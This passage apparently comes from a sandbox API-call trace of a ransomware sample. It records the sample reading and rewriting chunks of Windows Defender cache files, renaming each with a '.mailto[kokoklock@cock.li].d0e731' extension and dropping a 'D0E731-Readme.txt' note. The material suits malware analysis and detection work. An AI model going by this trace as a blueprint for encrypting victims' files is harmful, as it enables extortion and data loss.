RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x647a07d6 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xe0574459 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xf8a2f985 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x269a4db8 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x812c3a80 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xc00a5044 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x5010b3f0 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xe6f7ad44 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x9e133a0a [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x2095ea30 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xeda28673 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x9c42bc18 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x99d5e62 [0079.357] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x310ff2ee [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x66897ff1 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xbe1f655f [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xf0499a59 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xdaa54711 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x94e4f053 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xf81e0c09 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xd7040191 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x67f74d93 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xf50c3067 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x85b6a65f [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xd3419685 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x33728d95 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0x19c00559 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xd35b81e3 [0079.358] RtlRandom (in: Seed=0x2193fadc | out: Seed=0x2193fadc) returned 0xff8ef95f [0079.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.369] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.369] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.371] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ab0 [0079.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491948 [0079.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491948) returned 1 [0079.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.372] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.373] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1d8ca0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.373] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.393] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1d8ca0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491bf0 [0079.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491bf0) returned 1 [0079.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491bf0 [0079.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919e8) returned 1 [0079.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.394] WriteFile (in: hFile=0x438, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.394] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x3b0ff6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.394] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.402] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x3b0ff6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491948 [0079.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491948) returned 1 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491948 [0079.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491830 [0079.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491830) returned 1 [0079.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.402] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2193fa90, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2193fa90*=0x4096, lpOverlapped=0x0) returned 1 [0079.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x3491ab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2193faec, lpOverlapped=0x0 | out: lpBuffer=0x3491ab0*, lpNumberOfBytesWritten=0x2193faec*=0x20, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x3491bf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2193faec, lpOverlapped=0x0 | out: lpBuffer=0x3491bf0*, lpNumberOfBytesWritten=0x2193faec*=0x20, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x3491948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2193faec, lpOverlapped=0x0 | out: lpBuffer=0x3491948*, lpNumberOfBytesWritten=0x2193faec*=0x20, lpOverlapped=0x0) returned 1 [0079.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x3491c90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x3491c90*, lpNumberOfBytesWritten=0x2193faf4*=0x8, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x2193fb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x2193fb0c*, lpNumberOfBytesWritten=0x2193faf4*=0x4, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2193faf4*=0x4, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2193faf4*=0x6c, lpOverlapped=0x0) returned 1 [0079.403] WriteFile (in: hFile=0x438, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x2193faf4*=0x20, lpOverlapped=0x0) returned 1 [0079.404] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2193faf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2193faf4*=0x4, lpOverlapped=0x0) returned 1 [0079.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ba0) returned 1 [0079.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c90) returned 1 [0079.404] CloseHandle (hObject=0x438) returned 1 [0079.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.404] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" [0079.404] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79.mailto[kokoklock@cock.li].d0e731" [0079.404] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.405] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0079.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.405] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79", dwFileAttributes=0x820) returned 0 [0079.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.405] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.405] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.405] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a800) returned 1 [0079.405] RtlExitUserThread (Status=0x1) Thread: id = 921 os_tid = 0x1568 [0079.320] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c")) returned 0x820 [0079.323] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", dwFileAttributes=0x20) returned 1 [0079.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.323] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x219bfd50 | out: lpFileSize=0x219bfd50*=5410816) returned 1 [0079.323] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x528ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.323] ReadFile (in: hFile=0x438, lpBuffer=0x219bfd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x219bfd24*, lpNumberOfBytesRead=0x219bfd20*=0x4, lpOverlapped=0x0) returned 1 [0079.325] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492578 [0079.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0079.325] NtQuerySystemTime (in: CurrentTime=0x219bfcfc | out: CurrentTime=0x219bfcfc*=132121176372198245) returned 0x0 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x5a96638 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x15f40376 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x2b7f5e2c [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x6f6012e6 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x1dcdc8db [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xc268b27a [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x6de5b9d2 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xb230ff95 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x4de48ed9 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x2b1d63ab [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xa6e601af [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xb509fd25 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xd465d31 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x1f76bccd [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x9a79edc8 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xbe249173 [0079.325] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x55e068b9 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x83bd7cb [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x7264e8b6 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x14c0e4ce [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x1f7c3692 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x47e2b6ae [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xb1d86ecf [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x1cdd80c5 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xcb8aea52 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x73fe7693 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xf69e9404 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x213b63dc [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x796b8106 [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x91fd63fd [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0xb1cfce4b [0079.326] RtlRandom (in: Seed=0x219bfd08 | out: Seed=0x219bfd08) returned 0x5b3b95bc [0079.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.336] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.337] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.339] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0079.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0079.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.340] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.340] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x296018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.340] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.341] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x296018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492550) returned 1 [0079.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f38 [0079.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f38) returned 1 [0079.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.342] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.342] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x524f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.342] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.343] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x524f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0079.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919c0) returned 1 [0079.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491998 [0079.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ad8 [0079.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ad8) returned 1 [0079.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0079.344] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x219bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x219bfcbc*=0x4096, lpOverlapped=0x0) returned 1 [0079.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.344] WriteFile (in: hFile=0x438, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x219bfd18, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x219bfd18*=0x20, lpOverlapped=0x0) returned 1 [0079.344] WriteFile (in: hFile=0x438, 